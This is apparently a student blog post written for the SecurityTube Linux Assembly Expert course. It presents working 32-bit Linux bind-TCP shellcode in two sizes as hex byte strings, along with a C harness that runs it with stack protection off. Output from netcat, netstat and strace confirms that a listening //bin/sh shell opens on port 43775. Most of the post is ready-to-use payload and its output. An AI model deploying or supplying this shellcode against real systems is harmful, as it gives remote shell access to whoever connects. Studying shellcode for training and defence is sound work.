Hello everybody,
Last week I have finished the SecurityTube Linux Assembly Expert (SLAE) course that requires to accomplish 7 assignments in order to get certificated.
Thus, I would like to publish shell_bind_TCP shellcode I have written in Intel IA-32 Assembly. The shellcode run test and the analysis are included in this post.
I wrote two versions of the shell_bind_tcp shellcode. First, a very detailed one, shellcode size 141 bytes, you can get it here: shell_bind_tcp.nasm
And a second one is just an extra attempt to reduce the shellcode size down to 108 bytes, here: shell_bind_tcp_smaller.nasm
$ ./compile_all.sh shell_bind_tcp 43775
[I] Using custom port: 43775
[+] Assembling shell_bind_tcp.nasm with NASM ...
[+] Linking shell_bind_tcp.o ...
[+] Generating shellcode with objdump ...
[+] Checking shellcode for NULLs ...
[+] Shellcode size is 141 bytes
"\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xc9\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xeb\x6d\x5f\x31\xc0\xb0\x66\x31\xdb\xb3\x02\x31\xd2\x52\x66\xff\x37\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x04\x6a\x01\x56\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x05\x31\xd2\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc0\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80\xe8\x8e\xff\xff\xff\xaa\xff"
[+] Generating shellcode.c file with the shell_bind_tcp shellcode ...
[+] Compiling shellcode.c with GCC ...
[+] All done! You can run the shellcode now:
$ ./shellcode
arno $ cat shellcode.c
#include <stdio.h>
#include <string.h>
# The shell_bind_TCP shellcode itself
unsigned char code[] = \
"\x31\xc0\xb0\x66\x31\xdb\x43\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xeb\x50\x5f\x6a\x66\x58\x43\x31\xd2\x52\x66\xff\x37\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x6a\x01\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\xe8\xab\xff\xff\xff\xaa\xff";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
arno $ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
arno $ ./shellcode
Shellcode Length: 108
root # netstat --inet -apn |grep -i shellcode
tcp 0 0 0.0.0.0:43775 0.0.0.0:*
It appears to be our shellcode has been executed and listening on 43775/tcp port as expected.
root # nc localhost 43775
id
uid=500(arno) gid=500(arno) groups=500(arno) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
date
Sat Mar 9 13:59:11 CET 2013
quit
//bin/sh: line 3: quit: command not found
exit
As you may have noticed, it is exactly our shell spawned (execve “//bin/sh”) while we tried to run a command that doesn’t exist on a server.
$ strace -e socket,bind,listen,accept,dup2,execve ./shellcode
execve("./shellcode", ["./shellcode"], [/* 57 vars */]) = 0
[ Process PID=18644 runs in 32 bit mode. ]
Shellcode Length: 141
socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(43775), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 1) = 0
accept(3, 0, NULL) = 4
dup2(4, 0) = 0
dup2(4, 1) = 1
dup2(4, 2) = 2
execve("//bin/sh", ["//bin/sh"], [/* 26 vars */]) = 0
[ Process PID=18644 runs in 64 bit mode. ]
socket(PF_FILE, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, 0) = 5
socket(PF_FILE, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, 0) = 5
--- SIGCHLD (Child exited) @ 0 (0) ---
For better understanding, I suggest to look at the visualization together with the shellcode source that is very detailed —> shell_bind_tcp.nasm
libemu was used to visualize the shellcode.
This page has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-323